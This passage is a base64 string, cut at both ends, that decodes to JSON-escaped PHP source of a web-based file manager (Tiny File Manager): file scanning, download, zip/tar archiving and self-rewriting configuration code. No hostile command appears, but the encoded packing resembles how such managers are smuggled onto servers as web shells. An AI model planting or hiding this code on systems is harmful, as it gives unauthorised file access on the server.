iAgICAkZmlsZVR5cGVzWydtNGEnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydhYWMnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydtM3UnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcblxuICAgICRmaWxlVHlwZXNbJ3BocCddID0gWydhcHBsaWNhdGlvblwveC1waHAnXTtcbiAgICAkZmlsZVR5cGVzWydodG1sJ10gPSBbJ3RleHRcL2h0bWwnXTtcbiAgICAkZmlsZVR5cGVzWyd0eHQnXSA9IFsndGV4dFwvcGxhaW4nXTtcbiAgICBpZiAoZW1wdHkoJGZpbGVUeXBlc1skZXh0ZW5zaW9uXSkpIHtcbiAgICAgICAgJGZpbGVUeXBlc1skZXh0ZW5zaW9uXSA9IFsnYXBwbGljYXRpb25cL29jdGV0LXN0cmVhbSddO1xuICAgIH1cbiAgICByZXR1cm4gJGZpbGVUeXBlc1skZXh0ZW5zaW9uXTtcbn1cblxuXC8qKlxuICogVGhpcyBmdW5jdGlvbiBzY2FucyB0aGUgZmlsZXMgYW5kIGZvbGRlciByZWN1cnNpdmVseSwgYW5kIHJldHVybiBtYXRjaGluZyBmaWxlc1xuICogQHBhcmFtIHN0cmluZyAkZGlyXG4gKiBAcGFyYW0gc3RyaW5nICRmaWx0ZXJcbiAqIEByZXR1cm4gYXJyYXl8bnVsbFxuICpcL1xuZnVuY3Rpb24gc2NhbigkZGlyID0gJycsICRmaWx0ZXIgPSAnJylcbntcbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSCAuICdcLycgLiAkZGlyO1xuICAgIGlmICgkcGF0aCkge1xuICAgICAgICAkaXRlID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRwYXRoKSk7XG4gICAgICAgICRyaWkgPSBuZXcgUmVnZXhJdGVyYXRvcigkaXRlLCBcIlwvKFwiIC4gJGZpbHRlciAuIFwiKVwvaVwiKTtcblxuICAgICAgICAkZmlsZXMgPSBhcnJheSgpO1xuICAgICAgICBmb3JlYWNoICgkcmlpIGFzICRmaWxlKSB7XG4gICAgICAgICAgICBpZiAoISRmaWxlLT5pc0RpcigpKSB7XG4gICAgICAgICAgICAgICAgJGZpbGVOYW1lID0gJGZpbGUtPmdldEZpbGVuYW1lKCk7XG4gICAgICAgICAgICAgICAgJGxvY2F0aW9uID0gc3RyX3JlcGxhY2UoRk1fUk9PVF9QQVRILCAnJywgJGZpbGUtPmdldFBhdGgoKSk7XG4gICAgICAgICAgICAgICAgJGZpbGVzW10gPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgXCJuYW1lXCIgPT4gJGZpbGVOYW1lLFxuICAgICAgICAgICAgICAgICAgICBcInR5cGVcIiA9PiBcImZpbGVcIixcbiAgICAgICAgICAgICAgICAgICAgXCJwYXRoXCIgPT4gJGxvY2F0aW9uLFxuICAgICAgICAgICAgICAgICk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICRmaWxlcztcbiAgICB9XG59XG5cblwvKipcbiAqIFBhcmFtZXRlcnM6IGRvd25sb2FkRmlsZShGaWxlIExvY2F0aW9uLCBGaWxlIE5hbWUsXG4gKiBtYXggc3BlZWQsIGlzIHN0cmVhbWluZ1xuICogSWYgc3RyZWFtaW5nIC0gdmlkZW9zIHdpbGwgc2hvdyBhcyB2aWRlb3MsIGltYWdlcyBhcyBpbWFnZXNcbiAqIGluc3RlYWQgb2YgZG93bmxvYWQgcHJvbXB0XG4gKiBodHRwczpcL1wvc3RhY2tvdmVyZmxvdy5jb21cL2FcLzEzODIxOTkyXC8xMTY0NjQyXG4gKlwvXG5mdW5jdGlvbiBmbV9kb3dubG9hZF9maWxlKCRmaWxlTG9jYXRpb24sICRmaWxlTmFtZSwgJGNodW5rU2l6ZSAgPSAxMDI0KVxue1xuICAgIGlmIChjb25uZWN0aW9uX3N0YXR1cygpICE9IDApXG4gICAgICAgIHJldHVybiAoZmFsc2UpO1xuICAgICRleHRlbnNpb24gPSBwYXRoaW5mbygkZmlsZU5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTik7XG5cbiAgICAkY29udGVudFR5cGUgPSBmbV9nZXRfZmlsZV9taW1lcygkZXh0ZW5zaW9uKTtcblxuICAgIGlmIChpc19hcnJheSgkY29udGVudFR5cGUpKSB7XG4gICAgICAgICRjb250ZW50VHlwZSA9IGltcGxvZGUoJyAnLCAkY29udGVudFR5cGUpO1xuICAgIH1cblxuICAgICRzaXplID0gZmlsZXNpemUoJGZpbGVMb2NhdGlvbik7XG5cbiAgICBpZiAoJHNpemUgPT0gMCkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnWmVybyBieXRlIGZpbGUhIEFib3J0aW5nIGRvd25sb2FkJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcblxuICAgICAgICByZXR1cm4gKGZhbHNlKTtcbiAgICB9XG5cbiAgICBAaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCAwKTtcbiAgICAkZnAgPSBmb3BlbihcIiRmaWxlTG9jYXRpb25cIiwgXCJyYlwiKTtcblxuICAgIGlmICgkZnAgPT09IGZhbHNlKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdDYW5ub3Qgb3BlbiBmaWxlISBBYm9ydGluZyBkb3dubG9hZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgICAgIHJldHVybiAoZmFsc2UpO1xuICAgIH1cbiAgICBcbiAgICBoZWFkZXIoJ0NvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXInKTtcbiAgICBoZWFkZXIoJ0V4cGlyZXM6IDAnKTtcbiAgICBoZWFkZXIoJ0NhY2hlLUNvbnRyb2w6IG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MCcpO1xuICAgIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTtcbiAgICBoZWFkZXIoXCJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiaW5hcnlcIik7XG4gICAgaGVhZGVyKFwiQ29udGVudC1UeXBlOiAkY29udGVudFR5cGVcIik7XG5cbiAgICAkY29udGVudERpc3Bvc2l0aW9uID0gJ2F0dGFjaG1lbnQnO1xuXG4gICAgaWYgKHN0cnN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sIFwiTVNJRVwiKSkge1xuICAgICAgICAkZmlsZU5hbWUgPSBwcmVnX3JlcGxhY2UoJ1wvXFwuXC8nLCAnJTJlJywgJGZpbGVOYW1lLCBzdWJzdHJfY291bnQoJGZpbGVOYW1lLCAnLicpIC0gMSk7XG4gICAgICAgIGhlYWRlcihcIkNvbnRlbnQtRGlzcG9zaXRpb246ICRjb250ZW50RGlzcG9zaXRpb247ZmlsZW5hbWU9XFxcIiRmaWxlTmFtZVxcXCJcIik7XG4gICAgfSBlbHNlIHtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1EaXNwb3NpdGlvbjogJGNvbnRlbnREaXNwb3NpdGlvbjtmaWxlbmFtZT1cXFwiJGZpbGVOYW1lXFxcIlwiKTtcbiAgICB9XG5cbiAgICBoZWFkZXIoXCJBY2NlcHQtUmFuZ2VzOiBieXRlc1wiKTtcbiAgICAkcmFuZ2UgPSAwO1xuXG4gICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1JBTkdFJ10pKSB7XG4gICAgICAgIGxpc3QoJGEsICRyYW5nZSkgPSBleHBsb2RlKFwiPVwiLCAkX1NFUlZFUlsnSFRUUF9SQU5HRSddKTtcbiAgICAgICAgc3RyX3JlcGxhY2UoJHJhbmdlLCBcIi1cIiwgJHJhbmdlKTtcbiAgICAgICAgJHNpemUyID0gJHNpemUgLSAxO1xuICAgICAgICAkbmV3X2xlbmd0aCA9ICRzaXplIC0gJHJhbmdlO1xuICAgICAgICBoZWFkZXIoXCJIVFRQXC8xLjEgMjA2IFBhcnRpYWwgQ29udGVudFwiKTtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1MZW5ndGg6ICRuZXdfbGVuZ3RoXCIpO1xuICAgICAgICBoZWFkZXIoXCJDb250ZW50LVJhbmdlOiBieXRlcyAkcmFuZ2Ukc2l6ZTJcLyRzaXplXCIpO1xuICAgIH0gZWxzZSB7XG4gICAgICAgICRzaXplMiA9ICRzaXplIC0gMTtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1SYW5nZTogYnl0ZXMgMC0kc2l6ZTJcLyRzaXplXCIpO1xuICAgICAgICBoZWFkZXIoXCJDb250ZW50LUxlbmd0aDogXCIgLiAkc2l6ZSk7XG4gICAgfVxuICAgICRmaWxlTG9jYXRpb24gPSByZWFscGF0aCgkZmlsZUxvY2F0aW9uKTtcbiAgICB3aGlsZSAob2JfZ2V0X2xldmVsKCkpIG9iX2VuZF9jbGVhbigpO1xuICAgIHJlYWRmaWxlKCRmaWxlTG9jYXRpb24pO1xuXG4gICAgZmNsb3NlKCRmcCk7XG5cbiAgICByZXR1cm4gKChjb25uZWN0aW9uX3N0YXR1cygpID09IDApIGFuZCAhY29ubmVjdGlvbl9hYm9ydGVkKCkpO1xufVxuXG5cLyoqXG4gKiBDbGFzcyB0byB3b3JrIHdpdGggemlwIGZpbGVzICh1c2luZyBaaXBBcmNoaXZlKVxuICpcL1xuY2xhc3MgRk1fWmlwcGVyXG57XG4gICAgcHJpdmF0ZSAkemlwO1xuXG4gICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgICR0aGlzLT56aXAgPSBuZXcgWmlwQXJjaGl2ZSgpO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBDcmVhdGUgYXJjaGl2ZSB3aXRoIG5hbWUgJGZpbGVuYW1lIGFuZCBmaWxlcyAkZmlsZXMgKFJFTEFUSVZFIFBBVEhTISlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBhcnJheXxzdHJpbmcgJGZpbGVzXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoJGZpbGVuYW1lLCAkZmlsZXMpXG4gICAge1xuICAgICAgICAkcmVzID0gJHRoaXMtPnppcC0+b3BlbigkZmlsZW5hbWUsIFppcEFyY2hpdmU6OkNSRUFURSk7XG4gICAgICAgIGlmICgkcmVzICE9PSB0cnVlKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKGlzX2FycmF5KCRmaWxlcykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRmID0gZm1fY2xlYW5fcGF0aCgkZik7XG4gICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRmlsZU9yRGlyKCRmKSkge1xuICAgICAgICAgICAgICAgICAgICAkdGhpcy0+emlwLT5jbG9zZSgpO1xuICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJHRoaXMtPnppcC0+Y2xvc2UoKTtcbiAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRGaWxlT3JEaXIoJGZpbGVzKSkge1xuICAgICAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogRXh0cmFjdCBhcmNoaXZlICRmaWxlbmFtZSB0byBmb2xkZXIgJHBhdGggKFJFTEFUSVZFIE9SIEFCU09MVVRFIFBBVEhTKVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICAgICAqIEByZXR1cm4gYm9vbFxuICAgICAqXC9cbiAgICBwdWJsaWMgZnVuY3Rpb24gdW56aXAoJGZpbGVuYW1lLCAkcGF0aClcbiAgICB7XG4gICAgICAgICRyZXMgPSAkdGhpcy0+emlwLT5vcGVuKCRmaWxlbmFtZSk7XG4gICAgICAgIGlmICgkcmVzICE9PSB0cnVlKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCR0aGlzLT56aXAtPmV4dHJhY3RUbygkcGF0aCkpIHtcbiAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmaWxlXC9mb2xkZXIgdG8gYXJjaGl2ZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRmlsZU9yRGlyKCRmaWxlbmFtZSlcbiAgICB7XG4gICAgICAgIGlmIChpc19maWxlKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+emlwLT5hZGRGaWxlKCRmaWxlbmFtZSk7XG4gICAgICAgIH0gZWxzZWlmIChpc19kaXIoJGZpbGVuYW1lKSkge1xuICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5hZGREaXIoJGZpbGVuYW1lKTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmb2xkZXIgcmVjdXJzaXZlbHlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRGlyKCRwYXRoKVxuICAgIHtcbiAgICAgICAgaWYgKCEkdGhpcy0+emlwLT5hZGRFbXB0eURpcigkcGF0aCkpIHtcbiAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgfVxuICAgICAgICAkb2JqZWN0cyA9IHNjYW5kaXIoJHBhdGgpO1xuICAgICAgICBpZiAoaXNfYXJyYXkoJG9iamVjdHMpKSB7XG4gICAgICAgICAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkZmlsZSkge1xuICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykge1xuICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRGlyKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGlzX2ZpbGUoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT56aXAtPmFkZEZpbGUoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgcmV0dXJuIHRydWU7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cbn1cblxuXC8qKlxuICogQ2xhc3MgdG8gd29yayB3aXRoIFRhciBmaWxlcyAodXNpbmcgUGhhckRhdGEpXG4gKlwvXG5jbGFzcyBGTV9aaXBwZXJfVGFyXG57XG4gICAgcHJpdmF0ZSAkdGFyO1xuXG4gICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgICR0aGlzLT50YXIgPSBudWxsO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBDcmVhdGUgYXJjaGl2ZSB3aXRoIG5hbWUgJGZpbGVuYW1lIGFuZCBmaWxlcyAkZmlsZXMgKFJFTEFUSVZFIFBBVEhTISlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBhcnJheXxzdHJpbmcgJGZpbGVzXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoJGZpbGVuYW1lLCAkZmlsZXMpXG4gICAge1xuICAgICAgICAkdGhpcy0+dGFyID0gbmV3IFBoYXJEYXRhKCRmaWxlbmFtZSk7XG4gICAgICAgIGlmIChpc19hcnJheSgkZmlsZXMpKSB7XG4gICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGYpIHtcbiAgICAgICAgICAgICAgICAkZiA9IGZtX2NsZWFuX3BhdGgoJGYpO1xuICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPmFkZEZpbGVPckRpcigkZikpIHtcbiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRGaWxlT3JEaXIoJGZpbGVzKSkge1xuICAgICAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEV4dHJhY3QgYXJjaGl2ZSAkZmlsZW5hbWUgdG8gZm9sZGVyICRwYXRoIChSRUxBVElWRSBPUiBBQlNPTFVURSBQQVRIUylcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAgICAgKiBAcmV0dXJuIGJvb2xcbiAgICAgKlwvXG4gICAgcHVibGljIGZ1bmN0aW9uIHVuemlwKCRmaWxlbmFtZSwgJHBhdGgpXG4gICAge1xuICAgICAgICAkcmVzID0gJHRoaXMtPnRhci0+b3BlbigkZmlsZW5hbWUpO1xuICAgICAgICBpZiAoJHJlcyAhPT0gdHJ1ZSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkdGhpcy0+dGFyLT5leHRyYWN0VG8oJHBhdGgpKSB7XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmaWxlXC9mb2xkZXIgdG8gYXJjaGl2ZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRmlsZU9yRGlyKCRmaWxlbmFtZSlcbiAgICB7XG4gICAgICAgIGlmIChpc19maWxlKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkZmlsZW5hbWUpO1xuICAgICAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgfVxuICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+YWRkRGlyKCRmaWxlbmFtZSk7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBBZGQgZm9sZGVyIHJlY3Vyc2l2ZWx5XG4gICAgICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICAgICAqIEByZXR1cm4gYm9vbFxuICAgICAqXC9cbiAgICBwcml2YXRlIGZ1bmN0aW9uIGFkZERpcigkcGF0aClcbiAgICB7XG4gICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7XG4gICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5hZGREaXIoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBTYXZlIENvbmZpZ3VyYXRpb25cbiAqXC9cbmNsYXNzIEZNX0NvbmZpZ1xue1xuICAgIHZhciAkZGF0YTtcblxuICAgIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgIGdsb2JhbCAkcm9vdF9wYXRoLCAkcm9vdF91cmwsICRDT05GSUc7XG4gICAgICAgICRmbV91cmwgPSAkcm9vdF91cmwgLiAkX1NFUlZFUltcIlBIUF9TRUxGXCJdO1xuICAgICAgICAkdGhpcy0+ZGF0YSA9IGFycmF5KFxuICAgICAgICAgICAgJ2xhbmcnID0+ICdlbicsXG4gICAgICAgICAgICAnZXJyb3JfcmVwb3J0aW5nJyA9PiB0cnVlLFxuICAgICAgICAgICAgJ3Nob3dfaGlkZGVuJyA9PiB0cnVlXG4gICAgICAgICk7XG4gICAgICAgICRkYXRhID0gZmFsc2U7XG4gICAgICAgIGlmIChzdHJsZW4oJENPTkZJRykpIHtcbiAgICAgICAgICAgICRkYXRhID0gZm1fb2JqZWN0X3RvX2FycmF5KGpzb25fZGVjb2RlKCRDT05GSUcpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAnVGlueSBGaWxlIE1hbmFnZXI8YnI+RXJyb3I6IENhbm5vdCBsb2FkIGNvbmZpZ3VyYXRpb24nO1xuICAgICAgICAgICAgaWYgKHN1YnN0cigkZm1fdXJsLCAtMSkgPT0gJ1wvJykge1xuICAgICAgICAgICAgICAgICRmbV91cmwgPSBydHJpbSgkZm1fdXJsLCAnXC8nKTtcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+JztcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+U2VlbXMgbGlrZSB5b3UgaGF2ZSBhIHRyYWlsaW5nIHNsYXNoIG9uIHRoZSBVUkwuJztcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+VHJ5IHRoaXMgbGluazogPGEgaHJlZj1cIicgLiAkZm1fdXJsIC4gJ1wiPicgLiAkZm1fdXJsIC4gJzxcL2E+JztcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGRpZSgkbXNnKTtcbiAgICAgICAgfVxuICAgICAgICBpZiAoaXNfYXJyYXkoJGRhdGEpICYmIGNvdW50KCRkYXRhKSkgJHRoaXMtPmRhdGEgPSAkZGF0YTtcbiAgICAgICAgZWxzZSAkdGhpcy0+c2F2ZSgpO1xuICAgIH1cblxuICAgIGZ1bmN0aW9uIHNhdmUoKVxuICAgIHtcbiAgICAgICAgZ2xvYmFsICRjb25maWdfZmlsZTtcbiAgICAgICAgJGZtX2ZpbGUgPSBpc19yZWFkYWJsZSgkY29uZmlnX2ZpbGUpID8gJGNvbmZpZ19maWxlIDogX19GSUxFX187XG4gICAgICAgICR2YXJfbmFtZSA9ICckQ09ORklHJztcbiAgICAgICAgJHZhcl92YWx1ZSA9IHZhcl9leHBvcnQoanNvbl9lbmNvZGUoJHRoaXMtPmRhdGEpLCB0cnVlKTtcbiAgICAgICAgJGNvbmZpZ19zdHJpbmcgPSBcIjw/cGhwXCIgLiBjaHIoMTMpIC4gY2hyKDEwKSAuIFwiXC9cL0RlZmF1bHQgQ29uZmlndXJhdGlvblwiIC4gY2hyKDEzKSAuIGNocigxMCkgLiBcIiR2YXJfbmFtZSA9ICR2YXJfdmFsdWU7XCIgLiBjaHIoMTMpIC4gY2hyKDEwKTtcbiAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRmbV9maWxlKSkge1xuICAgICAgICAgICAgJGxpbmVzID0gZmlsZSgkZm1fZmlsZSk7XG4gICAgICAgICAgICBpZiAoJGZoID0gQGZvcGVuKCRmbV9maWxlLCBcIndcIikpIHtcbiAgICAgICAgICAgICAgICBAZnB1dHMoJGZoLCAkY29uZmlnX3N0cmluZywgc3RybGVuKCRjb25maWdfc3RyaW5nKSk7XG4gICAgICAgICAgICAgICAgZm9yICgkeCA9IDM7ICR4IDwgY291bnQoJGxpbmVzKTsgJHgrKykge1xuICAgICAgICAgICAgICAgICAgICBAZnB1dHMoJGZoLCAkbGluZXNbJHhdLCBzdHJsZW4oJGxpbmVzWyR4XSkpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmaCk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9XG59XG5cblwvXC8tLS0gVGVtcGxhdGVzIEZ1bmN0aW9ucyAtLS1cblxuXC8qKlxuICogU2hvdyBuYXYgYmxvY2tcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqXC9cbmZ1bmN0aW9uIGZtX3Nob3dfbmF2X3BhdGgoJHBhdGgpXG57XG4gICAgZ2xvYmFsICRsYW5nLCAkc3RpY2t5X25hdmJhciwgJGVkaXRGaWxlO1xuICAgICRpc1N0aWNreU5hdkJhciA9ICRzdGlja3lfbmF2YmFyID8gJ2ZpeGVkLXRvcCcgOiAnJztcbj8+XG4gICAgPG5hdiBjbGFzcz1cIm5hdmJhciBuYXZiYXItZXhwYW5kLWxnIG1iLTQgbWFpbi1uYXYgPD9waHAgZWNobyAkaXNTdGlja3lOYXZCYXIgPz4gYmctYm9keS10ZXJ0aWFyeVwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICA8YSBjbGFzcz1cIm5hdmJhci1icmFuZFwiPiA8P3BocCBlY2hvIGxuZygnQXBwVGl0bGUnKSA/PiA8XC9hPlxuICAgICAgICA8YnV0dG9uIGNsYXNzPVwibmF2YmFyLXRvZ2dsZXJcIiB0eXBlPVwiYnV0dG9uXCIgZGF0YS1icy10b2dnbGU9XCJjb2xsYXBzZVwiIGRhdGEtYnMtdGFyZ2V0PVwiI25hdmJhclN1cHBvcnRlZENvbnRlbnRcIiBhcmlhLWNvbnRyb2xzPVwibmF2YmFyU3VwcG9ydGVkQ29udGVudFwiIGFyaWEtZXhwYW5kZWQ9XCJmYWxzZVwiIGFyaWEtbGFiZWw9XCJUb2dnbGUgbmF2aWdhdGlvblwiPlxuICAgICAgICAgICAgPHNwYW4gY2xhc3M9XCJuYXZiYXItdG9nZ2xlci1pY29uXCI+PFwvc3Bhbj5cbiAgICAgICAgPFwvYnV0dG9uPlxuICAgICAgICA8ZGl2IGNsYXNzPVwiY29sbGFwc2UgbmF2YmFyLWNvbG